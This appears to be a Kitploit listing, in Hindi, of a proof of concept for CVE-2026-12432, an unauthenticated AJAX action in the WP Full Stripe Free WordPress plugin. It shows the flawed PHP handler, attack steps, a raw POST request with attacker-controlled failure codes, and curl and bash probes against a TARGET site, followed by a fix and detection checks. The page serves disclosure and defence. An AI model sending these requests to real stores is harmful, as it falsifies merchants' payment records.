Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - अनधिकृत पहुंच की कमी | Kitploit
उपकरण/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगगलत कॉन्फ़िगरेशन
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - अनधिकृत पहुंच की कमी

रिपॉजिटरी देखें
152 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - लापता प्राधिकरण

अवलोकन

  • CVE ID: CVE-2026-12432
  • CVSS स्कोर: 5.3 (मध्यम)
  • CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • प्रभावित: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • पैच किया गया: >= 8.4.4
  • प्रकाशित: 26 जून, 2026
  • अंतिम अपडेट: 27 जून, 2026
  • शोधकर्ता: Netwurm - VTDR e.V.i.G.

भेद्यता विवरण

WordPress के लिए WP Full Stripe Free प्लगइन, wpfs_update_failed_payment_status AJAX एक्शन के माध्यम से 8.4.3 तक के (सहित) संस्करणों में लापता प्राधिकरण भेद्यता के प्रति संवेदनशील है।

मूल कारण

संवेदनशील AJAX एंडपॉइंट wp_ajax_ और wp_ajax_nopriv_ दोनों हुक्स के माध्यम से पंजीकृत है:

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

update_failed_payment_status() फ़ंक्शन (पंक्ति 3835-3865) निम्न कार्य करता है:

  • ❌ कोई क्षमता जाँच नहीं (कोई current_user_can() नहीं)
  • ❌ कोई nonce सत्यापन नहीं (कोई wp_verify_nonce() नहीं)
  • ❌ कोई लॉगिन जाँच नहीं (कोई is_user_logged_in() नहीं)

भेद्य कोड

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

हमला वेक्टर

पूर्वापेक्षाएँ

  • Payment Intent ID ज्ञात होना चाहिए (सामान्य Stripe चेकआउट के दौरान ब्राउज़र में उजागर होता है)
  • किसी प्रमाणीकरण की आवश्यकता नहीं

हमले के चरण

  1. लक्ष्य की पहचान करें: WP Full Stripe Free <= 8.4.3 स्थापित WordPress साइट खोजें
  2. Payment Intent ID प्राप्त करें: Stripe.js चेकआउट फ्लो या पिछले लेन-देन से निकालें
  3. दुर्भावनापूर्ण अनुरोध भेजें: हमलावर-नियंत्रित पैरामीटर के साथ admin-ajax.php पर POST अनुरोध तैयार करें

HTTP अनुरोध

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

प्रभाव आकलन

प्रभाव क्षेत्रगंभीरताविवरण
अखंडतामध्यमहमलावर सफल भुगतानों को असफल के रूप में चिह्नित कर सकते हैं
गोपनीयताकोई नहींकोई डेटा जोखिम नहीं
उपलब्धतानिम्नव्यावसायिक संचालन बाधित हो सकता है

विशिष्ट प्रभाव

  1. भुगतान रिकॉर्ड में हेरफेर: हमलावर भुगतान स्थिति को "paid" से "failed" में बदल सकता है
  2. गलत असफलता कोड: हमलावर मनमाने असफलता कोड/संदेश इंजेक्ट कर सकता है
  3. सोशल इंजीनियरिंग: ग्राहकों को धोखा देने या वैध शुल्कों पर विवाद करने के लिए उपयोग किया जा सकता है
  4. ऑडिट ट्रेल भ्रष्टाचार: व्यावसायिक रिकॉर्ड गलत साबित किए जा सकते हैं

अवधारणा प्रमाण (curl)

बुनियादी पहचान

root@kitploit:~
# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

पूर्ण PoC स्क्रिप्ट

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

उपचार

तत्काल समाधान

wpfs-customer.php में पंक्ति 3835 पर प्राधिकरण जाँच जोड़ें:

root@kitploit:~
function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

अनुशंसित समाधान (विक्रेता द्वारा)

WP Full Stripe Free >= 8.4.4 में अपडेट करें

root@kitploit:~
# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

पहचान

मैन्युअल जाँच

  1. WordPress एडमिन में प्लगइन संस्करण जाँचें
  2. wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php की समीक्षा करें
  3. AJAX हैंडलर से पहले गायब current_user_can() देखें

स्वचालित पहचान

root@kitploit:~
# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

संदर्भ

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack डेटाबेस

W.P.E.F

  • W.P.E.F टेलीग्राम चैनल #1
  • W.P.E.F टेलीग्राम चैनल #2 --

समयरेखा

  • 26 जून, 2026: भेद्यता सार्वजनिक रूप से प्रकट की गई
  • 27 जून, 2026: CVE-2026-12432 प्रकाशित
  • पैच: >= 8.4.4 पर अपडेट करें
टूल डाउनलोड करें